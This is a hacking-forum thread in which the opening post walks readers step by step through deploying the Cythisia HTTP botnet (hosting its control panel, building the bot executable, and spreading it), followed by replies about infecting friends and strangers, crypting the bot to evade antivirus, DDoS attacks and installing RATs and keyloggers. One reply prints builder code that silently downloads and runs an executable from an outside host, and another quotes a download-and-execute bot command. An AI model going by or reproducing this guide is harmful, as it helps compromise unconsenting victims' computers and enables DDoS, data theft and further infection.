Thread: [\[TUT\] Cythisia Botnet Detailed Set Up \[with Pictures\]](#)

Blixx - June 26, 2011, 5:25 am

[img]http://i.min.us/idLy90.png[/img]

Cythisia v2 is a simple HTTP Botnet which includes the standart Botnet features.

Go get more infos about it click [here](#)

How to Setup Cythisia v2

1.First of all Download it [here \(mediafire link\)](#)

2. After Downloading you should have the .rar file. Extract it and it should look like this: Spoiler [\(Click to View\)](#)[img]http://i.min.us/ib0Ch2.jpg[/img]

3. Now you need a Webhost to upload it. If you not allready have one, i would suggest [www.azok.org](#)
Create a account there with subdomain etc.

4. Once your subdomain is ready, go to your control panel.

5. In your Control Panel go to Advanced, then "Mysql Databases".
Spoiler [\(Click to View\)](#)[img]http://img193.imageshack.us/img193/4671/97716970.jpg[/img]

6. Fill out the required data.
Spoiler [\(Click to View\)](#)[img]http://img11.imageshack.us/img11/3753/24626834.jpg[/img]

7. Next to "mysql databases, there should be the task "phpmyadmin". Click on it. Then there should show up your created database. Click on "enter phpmyadmin".

8. Now you are in phpmyadmin. Goto to Import, then browse to to dump.sql, which you can find in the "webpanel" folder. Upload it and your done.
Spoiler [\(Click to View\)](#)[img]http://img863.imageshack.us/img863/4486/18409727.jpg[/img]

9. After this go to "File Manager 1"

10. Go into the public html folder.

11. Click Upload and browse to the "Webpanel.zip" archive (make sure you upload it on the right side.

Spoiler [\(Click to View\)](#)[img]http://img714.imageshack.us/img714/4835/95523537.jpg[/img]

Spoiler [\(Click to View\)](#)[img]http://img811.imageshack.us/img811/500/32354814.jpg[/img]

12. After succesful uploading, go back to the File manager, tick the webpanel folder and click on "chmod"

Spoiler [\(Click to View\)](#)[img]http://img830.imageshack.us/img830/6968/93794001.jpg[/img]

13. chmod the folder to 777 and tick the two fields below.

Spoiler [\(Click to View\)](#)

14. Ok now you uploaded the files. Now you have to edit one of the files with your mysql data, which can you find again in "mysql databases" in the control panel.

15. Go to /Webpanel/admin/inc/config.php and click edit.

Spoiler [\(Click to View\)](#)

16. Now you will see the php file, you have to edit it with your mysql database datas like me:

Spoiler [\(Click to View\)](#)

17. Now go to your website: www.yoursite.com/Webpanel/

A small box with "password" should pop up. The default password is "admin". To edit the password edit the index.php which you can find in /Webpanel/index.php

18. Login and your Panel should look like this: Spoiler [\(Click to View\)](#)

19. Now we go for the builder part, open Cythbuilder.exe and edit the data like me (for example):

Spoiler [\(Click to View\)](#)

20. Get the builded.exe and spread it.

21. Done

I hope you liked my little tutorial. Enjoy.

?4???4?™ - June 26, 2011, 5:36 am

Thanks man for this tutorial..

=)

Btw, any solution about firewall issue?

And when I set chmod to 777 I got internal error..

18m2s01398 - June 26, 2011, 6:16 am

This is awesome! Thanks a lot man! I've got my first botnet up and running!

iNk Jr. - June 26, 2011, 8:57 am

It won't let me login): any suggestions?

Spoiler [\(Click to View\)](#)

How do i fix ?):

Kennos - June 26, 2011, 9:01 am

why does mine look like shit?

Bl maxx - June 26, 2011, 9:04 am

@ Real3D + Kennos: Your settings in config.php are not correct, go through it again.

And please but the pics in spoiler...

Hello World :) - June 26, 2011, 9:18 am

No Blix This is the problem with his webhost i dont think this will work with free ones

Hacker_Fucker - June 26, 2011, 9:59 am

How do I crash a site once I've raised 20 bots?

Sativa - June 26, 2011, 10:01 am

Cythisia is terrible along with most other HTTP bots around here.

Blixx - June 26, 2011, 10:46 am

(Jun 26, 2011 09:18 AM)InVaDeR359 Wrote: [\[CITE\]](#) No Blix This is the problem with his webhost i dont think this will work with free ones

No this is a typical problem if database data is not configured correct,.

iNk Jr. - June 26, 2011, 11:25 am

He got it working for me ! thanks man !

Spoiler [\(Click to View\)](#)

**** JIT Debugging ****

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```
<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>
```

When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

I have .NET framework 4 installed.

Apex - June 26, 2011, 3:39 pm

I have a problem, I made 2 of my friends open virus and he didn't show up. I also made 5 people from omegle open it, only 1 of them showed up. Been waiting 2 hours now, still only 1 bot.

iTap- - June 26, 2011, 3:41 pm

(Jun 26, 2011 03:39 PM)eXawn Wrote: [\[CITE\]](#) I have a problem, I made 2 of my friends open virus and he didn't show up. I also made 5 people from omegle open it, only 1 of them showed up. Been waiting 2 hours now, still only 1 bot.

Antivirus probably caught it, you need to crypt it.

cmkdude - June 26, 2011, 3:48 pm

(Jun 26, 2011 12:44 PM)cmkdude Wrote: [\[CITE\]](#) When I get to the File Manager 1 step, it says "Account password has been saved for this session. You may launch the application again." and brings me back to the control panel, any help?

Can anybody help me? I don't know what to do. ;(

Apex - June 26, 2011, 3:50 pm

(Jun 26, 2011 03:41 PM)iTap- Wrote: [\[CITE\]](#) Antivirus probably caught it, you need to crypt it.

I crypted it and only 3 out of 41 anti virus programs detected it. I used justpublic 5.5 to crypt it, and all the people I sent to, I told to scan and all of them said it was clean also the people on omegle.

If there's someone who can help setting it up (properly), please feel free to PM me!

Faith - June 26, 2011, 4:09 pm

Your wrong. The typical problem is FREE HOSTING.

CaptainAI - June 26, 2011, 6:14 pm

Nice work on this tutorial! :) I'd +rep if I could , but eh. And for those who have "Internal Error." , that means that your webhost doesn't need to set the chomd to 777 , it should be 755 by default. I had the same error , just change it back to 755 , and done.

cmkdude - June 26, 2011, 9:55 pm

Mine is doing the same thing, how do I fix it?

Spoiler [\(Click to View\)](#)

?4???4?™ - June 26, 2011, 10:36 pm

The server can't by pass windows 7 firewall ..

So it useless..

=)

Novalty - June 26, 2011, 11:23 pm

I thought this looked promising but I've set it all up correctly, tested it on myself, and nothing has come through

Sanst - June 27, 2011, 1:57 am

Will test this out once I get home to my desktop, can't get the builder to run on linux using mono :(

R??s?? - June 27, 2011, 2:32 am

Nice posts, and the tuts im sure are a huge help. A+ JOB!

BlackxWaterUSA - June 27, 2011, 2:45 am

I get a internal error when I set the chmod

Skar3 - June 27, 2011, 4:13 am

I have a problem when I install my "virus" to the victim says that I need net framework 4.0 why?

Source Code - June 27, 2011, 11:59 am

Nice nice... good job on the tut.

Hole - June 27, 2011, 12:04 pm

Did this, got it running. Thanks so much!

Zenology - June 27, 2011, 4:47 pm

Well, thanks for the tutorial. Haven't tested, seems clean though.

Pockyoi - June 27, 2011, 6:03 pm

This is pretty much my first botnet, how exactly do I install bots which I purchase in the future?

Skar3 - June 28, 2011, 4:18 am

Can anyone tell me for my bot when I install it requires net framework 4.0?

Numinous - June 28, 2011, 7:39 am

I build EXE file correctly...

And I spread it almost 2- 3 Peoples and It shows 2 bots Online then What's the next step?

What can I do with these Bots...

Inf3ctious - June 28, 2011, 8:51 am

What are

User

Password

in the builder? Do we just write that or do we write our own username and pass for something?

Blixx - June 28, 2011, 8:53 am

(Jun 28, 2011 07:39 AM)chetan786 Wrote: [\[CITE\]](#) I build EXE file correctly...

Just put something random in it.

Inf3ctious - June 28, 2011, 9:08 am

I've done everything, I just need help encoding the builded.exe. How do I do it?

Blixx - June 28, 2011, 10:06 am

(Jun 28, 2011 09:08 AM)Inf3ctious Wrote: [\[CITE\]](#) I've done everything, I just need help encoding the builded.exe. How do I do it?

I think you mean encrypting the file. YOur need a crypter for it, just browse around the cryptography section

Vexna - June 28, 2011, 10:17 am

Great tutorial Blixx, thank's for sharing!

iUndead - June 28, 2011, 10:31 am

(Jun 26, 2011 09:01 AM)Kennos Wrote: [\[CITE\]](#) why does mine look like shit?

http://img839.imageshack.us/img839/4885/isbad.jpg

Mine looks the exact same way. I followed everything. Do you have a paid webhost? This isn't workingg.

Blixx - June 28, 2011, 10:39 am

(Jun 28, 2011 10:31 AM)iUndead Wrote: [\[CITE\]](#) Mine looks the exact same way. I followed everything. Do you have a paid webhost? This isn't workingg.

The ads are cause of free webhost, but you can remove them with adblocker, the php errors say your config.php is not set up correct.

Skar3 - June 28, 2011, 10:50 am

Can anyone tell me why when I try to make a victim requires .Net Framework 4.0?

Blixx - June 28, 2011, 10:52 am

(Jun 28, 2011 10:50 AM)Skar3 Wrote: [\[CITE\]](#) Can anyone tell me why when I try to make a slave requires .Net Framework 4.0?

Because its written in .net and it requires it.

ExecutiOn - June 28, 2011, 10:54 am

How do I set tasks etc. is there any example how to ?

Blixx - June 28, 2011, 10:55 am

(Jun 28, 2011 10:54 AM)ExecutiOn Wrote: [\[CITE\]](#) How do I set tasks etc. is there any example how to ?

Just copie and paste the command from the help button and edit with your info.

MrJossiv - June 28, 2011, 12:18 pm

Thanks for the tut! However, when i run the builder.exe file on my other pc and goto the webpanel on my main pc, it says there is no bots online? Also, ive tried reseting my pc numbers of times :/

st_infamous - June 28, 2011, 1:17 pm

Errr.. will the .exe file be detected by antiviruses? Or will i have to use crypters to FUD it?

DeathandTaxes - June 28, 2011, 5:13 pm

Too bad it's written in .NET :(No build for nix folks :(

SimplyPro - June 29, 2011, 2:20 am

For server to work it is .NET framework 4 required,and that's really bad,because not much people have it..

Oox786 - June 29, 2011, 3:49 am

.net4 required for slave or victim machine too??? :o

Jinu - June 29, 2011, 5:16 am

When i click Build.

Showing successful But i can't able to see the builder.exe

Swish - June 29, 2011, 7:17 am

As I can see the infected computer has to accept if he wants to be infected or not by the popup box that comes.

But that is maybe just my computer that is weird :P

DeathandTaxes - June 29, 2011, 7:26 am

I will say this, it is a nice tutorial, but I'm looking for something coded in C++ that doesn't require .NET. I got the web part set up just to make sure that it would work. But mano wouldn't let me run .NET 4.0 with it on my nix box to make the server.

iUndead - June 29, 2011, 9:01 am

I got everything to work, but I just dont get how to use it...

I don't think my exe is working so. Guess I gotta find a diff HTML one.

Ac!d - June 29, 2011, 9:22 am

What are we supposed to put for the username and password in the builder?

Blixx - June 29, 2011, 9:23 am

(Jun 29, 2011 09:22 AM)Ac!d Wrote: [\[CITE\]](#) What are we supposed to put for the username and password in the builder?

Nothing special, just whatever you like

ignite2030 - June 29, 2011, 10:03 am

thanks for this, very helpful.

autobotster - June 29, 2011, 11:02 am

I guess this is an apache only bot?

Oox786 - June 29, 2011, 11:42 am

well for me bot came online :o but only from my own pc lol.. when i tried to run on another XP PC it gave me an error... and on my antivirus AVAST its fudd.. lol but on Avira its not fud.. do we need to fud it our self?? any one else got success on it?? so i instaled the bot on my pc then i used the command !remove its working fine for me!! ty in advaNce :*

Blixx - June 29, 2011, 11:43 am

(Jun 29, 2011 11:42 AM)Oox786 Wrote: [\[CITE\]](#) well for me bot came online :o but only from my own pc lol.. when i tried to run on another XP PC it gave me an error... and on my antivirus AVAST its fudd.. lol but on Avira its not fud.. do we need to fud it our self?? any one else got success on it?? so i instaled the bot on my pc then i used the command !remove its working fine for me!! ty in advaNce :*

Yeah you need to FUD it yourself, the bot comes not FUD

Thanks

Have you tested the server on yourself before after crypting? May it got corrupted.
Sometimes you get slow or no connections cause of the webhost.

AzzidReign - June 30, 2011, 10:22 am

I got everything to work but lol retadrded question but when I'm using the builder, the username and pass are just the `**_test` and password right?

realfisch - June 30, 2011, 11:29 am

Thank you verry interesting

imbabanefire - June 30, 2011, 3:42 pm

Nice share!! got it working btw with a free host(no probs there).Didnt test it though with a serious amount of bots.Any has any review about this one?

Blixx - July 1, 2011, 7:51 am

Updated one of the pictures in the tut.

Hittce - July 2, 2011, 2:50 am

I'm pretty sure I did then config right but whenever i go to my site and click webpanel and it asks for a password i type "admin" like it says and it just reloads the page so i tryed the password i set on my database or whatever and no luck there either what am i doing wrong? and also while editing the config do i literally put "mysql.azok.org" in that part or do i put my websites name? Thanks for the great tut anyways

Blixx - July 2, 2011, 2:53 am

(Jul 2, 2011 02:50 AM)Hittce Wrote: [\[CITE\]](#) I'm pretty sure I did then config right but whenever i go to my site and click webpanel and it asks for a password i type "admin" like it says and it just reloads the page so i tryed the password i set on my database or whatever and no luck there either what am i doing wrong? and also while editing the config do i literally put "mysql.azok.org" in that part or do i put my websites name? ok, i think your config should be correct. About the password: Have you only edited the config.php or the index.php too?

dresdenvivek - July 5, 2011, 10:40 am

thanx blixx for all your efforts. me just new to dis botnet shit and dis was my first approach to making a botnet work. After some digging up on ur tut got it to work. Really thanx mate

Th3DON - July 5, 2011, 11:01 am

Understand BLEH-EH-EH

Homie it dont really matter what your say, BLEH-EH-EH

Inf3ctious - July 5, 2011, 5:56 pm

Does anyone have/know an encrypter that won't corrupt the build.exe file?

Hittce - July 5, 2011, 6:40 pm

(Jul 2, 2011 02:53 AM)Blixx Wrote: [\[CITE\]](#) ok, i think your config should be correct. About the password: Have you only edited the config.php or the index.php too?

Sorry for not answering for awhile i was on vacation for the 4th of July and to answer your question I haven't done anything except for what's in the tut up until the step of going to my site and clicking on webpanel then it asking for a password.

Edit: Wow you answered in 3 minutes to my first post lmao thanks but i went to bed after i posted assuming youd be gone :P

DayZeNN - July 5, 2011, 9:13 pm

It says that my site is not there?

Hitting - July 6, 2011, 12:09 am

Im going to make one later..And ill post the results when done

PiraX - July 6, 2011, 12:10 am

I just want to confirm that this is working flawlessly for me. Anyone have a good cryptor the server file? The one included isn't working...

Hotman - July 6, 2011, 12:59 am

what are the features of this http bot? ?

Hittce - July 6, 2011, 1:52 am

Hey i still have the problem where i can't login when i go to my site then webpanel then it pops up password in a white box. I went to the "Index.php" and in ther i found where it said "encryptpass" or some shit like that and it had "admin" set as the password in quotes but when i try it it just refreshes idk.

wamigali - July 6, 2011, 5:36 am

Those who are having problems, is the only reason that sometimes file managers don't work as they meant to be so better choice is to use filezilla edit your config.php and re upload then it will surely work...!

Cyber Freak - July 6, 2011, 7:23 am

It could be much more detailed.. still Thanx for the detailed tutorial.. U put alot of effort for this I believe :)

xlReVeLatrlONzlx - July 6, 2011, 2:37 pm

yo i need help im a pretty big noob will someone be willing to help

Dark Cap - July 6, 2011, 2:39 pm

ummmm help?

I am THC - July 6, 2011, 4:21 pm

When i set mine up i went to the URL and it just says it's offline?

edit: set it all up and i get this error, i configured it correctly and checked settings...its to do with the

index.php file in the Admin folder.

Spoiler ([Click to View](#))

inFerneT - July 6, 2011, 8:20 pm

umm help me please guys ?? :S

xIReVeLatrlaNzlx - July 6, 2011, 9:56 pm

ok i got the sight up but it has a whole bunch of warnings on it and i cant get them off can u help me?

ok i got the sight up but it has a whole bunch of warnings on it and i cant get them off can u help me?

LeftHanded - July 6, 2011, 10:19 pm

Works perfectly thanks for the tut!

Monopolize - July 6, 2011, 10:58 pm

Thanks for the tutorial man.

iEvolallday - July 6, 2011, 11:29 pm

Please help, I keep getting this message and I have deleted the website and tryed it again twice.

Any help? 

I can get to the place where you enter the password, but thats the message I get when I awnser the password.

K i t t - July 7, 2011, 12:29 am

Thanks dude for TUT !! :)

Taco Bell Dog™ - July 7, 2011, 2:00 am

Worked for me you sly little bugger you (^o^).

xIReVeLatrlaNzlx - July 7, 2011, 4:15 am

why cant i upload the build to any website at all??/

Iv'e got it set up, but when I run the builded on my slaves I have on my RAT it doesn't show up on the botnet...

madyig - July 7, 2011, 6:53 am

nice tut mate!

I dunno if the builded.exe works, since while creating it, an error window pops up...will try anyway.

Ir00tstuff - July 7, 2011, 8:24 am

Playing round with HTTP botnets thanks for this tut !

Spoiler ([Click to View](#))  IMAGE IS BIG.

DarkClouds - July 7, 2011, 9:44 am

working for me ? thank u ?!!!

(Jun 26, 2011 05:25 AM)Blixx Wrote: [\[CITE\]](#) 

Cythisia v2 is a simple HTTP Botnet which includes the standart Botnet features.

Go get more infos about it click [here](#)

How to Setup Cythisia v2

1.First of all Download it [here \(mediafire link\)](#)

2. After Downloading you should have the .rar file. Extract it and it should look like this: Spoiler [\(Click to View\)](#) 

3. Now you need a Webhost to upload it. If you not allready have one, i would suggest www.azok.org
Create a account there with subdomain etc.

4. Once your subdomain is ready, go to your control panel.

5. In your Control Panel go to Advanced, then "Mysql Databases".
Spoiler [\(Click to View\)](#) 

6. Fill out the required data.
Spoiler [\(Click to View\)](#) 

7. Next to "mysql databases, there should be the task "phpmyadmin". Click on it. Then there should show up your created database. Click on "enter phpmyadmin".

8. Now you are in phpmyadmin. Goto to Import, then browse to to dump.sql, which you can find in the "webpanel" folder. Upload it and your done.
Spoiler [\(Click to View\)](#) 

9. After this go to "File Manager 1"

10. Go into the public html folder.

11. Click Upload and browse to the "Webpanel.zip" archive (make sure you upload it on the right side).
Spoiler [\(Click to View\)](#) 
Spoiler [\(Click to View\)](#) 

12. After succesful uploading, go back to the File manager, tick the webpanel folder and click on "chmod"
Spoiler [\(Click to View\)](#) 

13. chmod the folder to 777 and tick the two fields below.
Spoiler [\(Click to View\)](#) 

14. Ok now you uploaded the files. Now you have to edit one of the files with your mysql data, which can you find again in "mysql databases" in the control panel.

15. Go to /Webpanel/admin/inc/config.php and click edit.

Spoiler ([Click to View](#))[img]http://img98.imageshack.us/img98/858/77178310.jpg[/img]

16. Now you will see the php file, you have to edit it with your mysql database datas like me:

Spoiler ([Click to View](#))[img]http://img847.imageshack.us/img847/5411/23620529.jpg[/img]

17. Now go to your website: www.yoursite.com/Webpanel/

A small box with "password" should pop up. The default password is "admin". To edit the password edit the index.php which you can find in /Webpanel/index.php

18. Login and your Panel should look like this: Spoiler ([Click to View](#))

[img]http://i.min.us/ibvF4K.jpg[/img]

19. Now we go for the builder part, open Cythbuilder.exe and edit the data like me (for example):

Spoiler ([Click to View](#))[img]http://i.min.us/ib2o7s.png[/img]

20. Get the builded.exe and spread it.

21. Done

I hope you liked my little tutorial. Enjoy.

dude i send the .exe to slaves and it doesn't show on the webpanel?..

with my password

Where is problem?

I get error lines for everything I press like task, sockets etc

xSHIELD - July 7, 2011, 1:41 pm

how to unistall a bot ? [25 chaar]

ZeKiiTo - July 7, 2011, 1:42 pm

Great thanks bro for this good tuto keep it up HQ

vCaLLMeJaKe - July 7, 2011, 1:45 pm

Nice Setup, I Vouche for him being legit.

xSHIELD - July 7, 2011, 1:47 pm

If i test on me it is danger ?

jochemm - July 7, 2011, 1:55 pm

Can anyone build me the file?

Because, I'm having that gay framework error, and I've reinstalled the latest version, same with every goddamn version.

I got like 2x every version -.-

Forever Young - July 7, 2011, 2:04 pm

This HTTP Botnet is awesome. Thanks for this!

TheBl4ckParad0x - July 7, 2011, 3:45 pm

This would be a pretty solid botnet if it was coded in C++ or VB6. :/

No?????? - July 7, 2011, 4:10 pm

Correct me if I'm wrong but I believe 777 file permissions are not a very good idea, anybody could edit your files via an FTP connection if I'm right. Nice tutorial though mate.

M44M31 - July 7, 2011, 6:06 pm

thanks so much for this..but can you explain to me the !remove syntax? it don't seem to work all that swell for me

666to666 - July 7, 2011, 6:06 pm

can someone please help me with the compiler teamviewer me or something.

PM me please

Airiasas - July 7, 2011, 10:02 pm

Need help with compiler via TV.. Guys please help.. PM me who wants to help me.. Thanks

robincomp - July 8, 2011, 3:48 am

Fix for framework error and a question:

Framework error : Install .net framework 3.5 .

Question:

Why is it that I can login, but when I press a button/text nothing pops up? Strange.

wieland - July 8, 2011, 5:41 am

Hey,

Very nice tut. Very good! The Server is running but i got some problems with the Cythbuilder. its everytime getting a net Framework error.

What should i do? Update Framework? I already got the highest.

Thank you.

DerHeXxXer - July 10, 2011, 8:51 am

mmh :/ can you explain why CythBuilder.exe wants to connect to the remote-server adress 92.241.190.144 ?

madyig - July 10, 2011, 12:09 pm

Can anyone help me? when trying to creat the builded.exe i get the error: error occured during processing of input file 'C:\blabla\Cythisia' The file c:\blabla\Cythisia could not been found

uphero - July 16, 2011, 12:39 pm

thnx man but one tut how to use 100% it :)

SuburbanInsanity - July 16, 2011, 12:47 pm

Is this botnet better than warbot?

nhoJeNi - July 17, 2011, 9:43 am

If we change the "url/webpanel" password, will our bots still be able to connect?

Also: On the builder do we just specify a random username/password?

multicoolyo - July 17, 2011, 10:26 am

thanks you very much this is my first ever botnet ;)

krilele0072 - July 20, 2011, 1:28 pm

Nice =D i've installed it and everything =)

But here's the problem.... I don't know any commands?... is there a command list or smthing?

JAM - July 26, 2011, 3:07 pm

<https://hackforums.net/showthread.php?tid=1505410>

is better

I am THC - July 28, 2011, 5:18 am

My bots aren't showing up (i ran it on myself sandboxed and i dont even show up...everything else is setup correctly.

Mygunsown8 - August 16, 2011, 5:23 pm

This question is because im kinda newb :D : What tasks can u give the botnet?

ice³ - August 20, 2011, 5:47 am

I tested this on my self, does anyone know how I can remove my own bot from the list?

[img]http://img20.imageshack.us/img20/4606/screenshot2011082013480.jpg[/img]

Neither worked :/

Infact has anyone got a list of ALL commands? Starting socks, how to specify which bots?

Blixx - August 20, 2011, 5:48 am

(Aug 20, 2011 05:47 AM)Sm3t Wrote: [\[CITE\]](#) I tested this on my self, does anyone know how I can remove my own bot from the list?

There is a command for deleting the server from the computer. Just use it for your bot in the list.

ice³ - August 20, 2011, 5:51 am

Is that !remove? I know I can start the task but how do I select to remove just me?

Any know how I can actually USE the !remove command?

krzyzak - August 20, 2011, 7:34 pm

i've got same problem againg i do all okay but bots just doesnt connect to the server maybe i built wrong the builded.exe but i've opened the builded.exe in my and other comps at my home with anti virus disabled and they just dont connect to the server.

_Joe - August 21, 2011, 1:37 am

Thanks for this but what exe do they need to run to become infected ? :/

Tawq - August 22, 2011, 5:42 am

For Those Who Need Help Getting Rid Of That Writing where it says sql server you Dont Put Yours In Just Copy and paste this mysql.azok.org

nunutus60 - August 22, 2011, 8:39 am

what they mean with random username and password

just what you need to fill (at Builder) !!

Blixx - August 22, 2011, 8:41 am

16. Now you will see the php file, you have to edit it with your mysql database datas like me:

Spoiler [\(Click to View\)](#)

17. Now go to your website: www.yoursite.com/Webpanel/

A small box with "password" should pop up. The default password is "admin". To edit the password edit the index.php which you can find in /Webpanel/index.php

18. Login and your Panel should look like this: Spoiler [\(Click to View\)](#)

19. Now we go for the builder part, open Cythbuilder.exe and edit the data like me (for example):
Spoiler [\(Click to View\)](#)

20. Get the builded.exe and spread it.

21. Done

I hope you liked my little tutorial. Enjoy.

do you think that azok.org will report me when I am uploading all of this?

do i have to run on a vpn?

?Dante - November 14, 2011, 5:14 pm

(Nov 13, 2011 06:03 AM)Crayawns Wrote: [\[CITE\]](#) do you think that azok.org will report me when I am uploading all of this?

do i have to run on a vpn?

if THAT so...

WHY would he post about using THIS particular hosting...or ANY hosting...

?

just chill...

no one's gonna catch u until I report u..??

dantehh...

Wendys - November 14, 2011, 6:21 pm

Its Working Fine With Me I Have it running on my shell booter server on my VPS along with my GoTT Script. so i use some HTTP Botnets for fun!

Jack Bauer - November 14, 2011, 6:45 pm

1.I can't access to my own website with the link that you provided

2.I can't access file manager. So I used livezilla but I still can't change the chmod

edit:

Works now, waited 24 hours.

Okay so what happens if I click on builded.exe?

c1sl3r - November 19, 2011, 9:00 am

Very Nice Tutorial! Thanks. This will help me to present a demonstration of botnets in my Network Security and Design class.

fixed

There are 2 index file's

==

Webpanel/index.php

Webpanel/admin/index.php

==

edit Webpanel/index.php its on line 3 i think

Invicta - December 9, 2011, 7:33 pm

Teehee. The builder tried to run a 16-bit backdoor application, and thanks to 64-bit OS, virus didn't execute = WIN?

Chuck Wagon - December 11, 2011, 11:28 am

Damn, Blixx was right. Good tutorial homie, appreciate it. EDIT: This bot sucks hot ass. It won't execute on my computer.

Kayvh - December 29, 2011, 7:23 pm

Thanks Alot i tried it once but i failed and it showed alot of error's when i logged into the botnet cpanel then i tried it there agen and made a new subdomain and it finally worked thank you so much !!

here's mine

[img]http://i1205.photobucket.com/albums/bb421/Voldo_Slaughter/botnet.png[img]

Crysan - December 29, 2011, 9:08 pm

Eh, i have some little problems with the domain.

But the rest of the tutorial is ok, i dont need help (only the downloadlink) but its a good tutorial.

Because how to add the domain ? i will not buy an extra one :D

Sickist - December 29, 2011, 10:06 pm

whats my website i dont understand
i need help

Electro-Zap - December 30, 2011, 8:55 am

LOOK OUT SCHOOL

IM GONNA FUCK SCHAT UP!

Thanks bro! ^^

My school is gonna be in for a surprise once some attacks are traced to the school network ^^

Sickist - December 30, 2011, 11:56 am

can i have a example for a task if i want to ddos a ip address

Electro-Zap - January 1, 2012, 6:46 pm

Did all of this, except my website won't come online? Wtf.... A little mad I can't connect to my website. What should my subdomain be?

Tony Montana - January 2, 2012, 7:15 pm

How do i create a subdomain here? I cant on the free hosting

dosghost - January 3, 2012, 10:09 am

this is a good layout simple and easy took me 10 mins from setting up the domain to uploading files chmod 0777 to making the bilded.exe one concern i have is that when i infected my other pc it usb spread i love it but its showing the files on the usb with windows xp! the other problem i have is that i cant find the file now and i want to remove it from my other pc !Remove does not work for some odd reason i even rebooted the test PC and shut it off and its still saying its online any suggestion ?

UMPD - January 4, 2012, 1:58 pm

Its so easy to setup a botnet ... thanks for the tutorial

UNKNOWN SKILLS - January 4, 2012, 2:18 pm

this shit is not stable trust me it is not

htnhokbi - January 12, 2012, 6:24 pm

yeah i like it

very good . .

thanks . .

(Jun 26, 2011 05:36 AM)?4???4?TM Wrote: [\[CITE\]](#) Thanks man for this tutorial..
=)

Btw, any solution about firewall issue?

And when I set chmod to 777 I got internal error..

I get this will almost anything i use with my hoster..

Use 755, works perfectly the same.

mighty99 - January 20, 2012, 10:47 am

Thx !!! works like a charm !! great Tut :)

?Ñâzg?l - January 20, 2012, 2:54 pm

Alright thanks a ton for this
It had a few issue's (SLQ errors) at the start.
But now its up and running
Thanks again

swizzy1 - January 21, 2012, 12:45 pm

running like a champ :D thank you some much

cyberBE - January 23, 2012, 9:07 am

tnx bro this is very noob friendly tutorial ! now lets go to work :P :D

Reagent - January 29, 2012, 6:22 pm

Hey i got it working fine but whenever i use cythbuilder, it says... this... XD
[http://i41.\[censored\].com/11to9k5.jpg](http://i41.[censored].com/11to9k5.jpg)

aight [censored] doesnt work... so i need to type it out :(

"the program or feature of "\"C:\Users\Kyle\AppData\Local\Temp\Ripped.exe" cannot strat or run
due to incompatibity with 64 bit versions of windows. "

edit: "ok now im getting Unhandled exception has occurred in your application. IF you click
continue. The application will ignore this and attempt to continue.

Could not find ap art of the part C:\Users\Kyle\Desktop\Stub\"

??? - January 30, 2012, 9:33 am

This bot is pretty stable, but can be killed.

Reagent - January 31, 2012, 5:22 pm

can anyone help me on my above post?..

Xtelor - January 31, 2012, 8:36 pm

After you're done installing this I'd recommend chmodding the all the files to 755 instead of 777.

a1los - February 4, 2012, 6:27 pm

I need help i cant find file manager 1 anybody have the same issue?

GodLes - February 22, 2012, 1:40 am

What are username and password,i really don't know,when i try to open my site it shows up that i must write username and password,i tried every single password i used on this but nothing happens...

ducktape - February 28, 2012, 4:20 am

Wow, this works perfectly! I love this botnet. Thanks mate! =D

Bamman - February 28, 2012, 10:09 am

Very well laid out, thankyou very much for the share!

wokitoki - February 28, 2012, 6:09 pm

I get this error in the footer:

Code Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /webpanel/admin/index.php on line 120

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /webpanel/admin/index.php on line 123

and this in the statistics window

Code Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /webpanel/admin/stat.php on line 18

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /webpanel/admin/stat.php on line 21

edit: I dont import the DB, sorry for the post XDD

ottohackr - March 2, 2012, 4:28 pm

It says my bot is offline...

The bot is this computer...

Deceptive - March 2, 2012, 6:19 pm

Code Public Sub Back()

Try

Dim client As New WebClient

Dim str As String = "Ripped.exe"

client.DownloadFile("http://www.th0ss.net/ripped/rip.exe",
(Environment.GetEnvironmentVariable("TEMP") & "\" & str))

New Process() With { _

.StartInfo = { FileName:=(Environment.GetEnvironmentVariable("TEMP") & "\" & str) } _

}.Start

Catch obj1 As Object

End Try

End Sub

What are you downloading this for? (In the builder)

DirtyBeast96 - March 3, 2012, 9:00 pm

I did everything it said to do in the tutorial even went over it 5 times and still when I try to go to the site(the www.mysite.com/Webpanel), nothing loads. It says it cannot be found, but the azok.org says that it is active. Help on this would really be appreciated.

Yookerz - March 7, 2012, 8:27 am

I get this error when I try to upload the 'dump.sql' file.

Error

SQL query:

```
--

Guys, you shouldn't use this bot. The execution rate is good but the DDoS very miserable. I used this bot with 3k vics and the ddos was crap-

James Kirk - March 7, 2012, 4:29 pm

(Mar 7, 2012 09:56 AM)Nook1e Wrote: [\[CITE\]](#) Guys, you shouldn't use this bot. The execution rate is good but the DDoS very miserable. I used this bot with 3k vics and the ddos was crap-
I'm basically using this to hold my victims until I figure out what I'm going to do with them, then I have them DL+Execute a RAT/Keylogger/Bot.

yeahkung1337 - March 14, 2012, 7:56 am

i havev made a server and i runed it and it will not pop up on the web panel what is the problem ?

paintkrew - March 24, 2012, 7:30 pm

thanks easy set-up, the builder seems like it was bugging out, got some crazy messages tested the final stub got a connect, tried Download & Execute: !dl*http://yourlink.com/yourfile.exe command nothing happens

this didn't remove the bot after Uninstall: !remove

didn't try any of the other commands

thanks

Mixermath - March 26, 2012, 1:39 pm

Worked perfectly for me, great tutorial, but to be honest, I like vertexNET more than Cythosia. Any other botnet recommendations?

DDos - March 26, 2012, 2:04 pm

(Mar 26, 2012 01:39 PM)Mixermath Wrote: [\[CITE\]](#) Worked perfectly for me, great tutorial, but to be honest, I like vertexNET more than Cythosia. Any other botnet recommendations?

Nice choice .. Vertex is much better ..

Mixermath - March 26, 2012, 4:39 pm

(Mar 26, 2012 02:04 PM)_DDos_ Wrote: [\[CITE\]](#) Nice choice .. Vertex is much better ..Agreed, it looks much more professional, and has many, many more options. Plus, even somebody who just picked up hacking can set it up. ? Want to try Umbra though, it's supposed to be very good too.

Pat. - March 26, 2012, 5:54 pm

This bot sucks don't even bother.. unstable as fuck.

Mixermath - March 27, 2012, 2:30 pm

Anybody tried Umbra and can say how it is? I'm a little hesitant to make another botnet.

sh0cked - April 3, 2012, 9:01 am

thanks bro that was a very useful tutorial

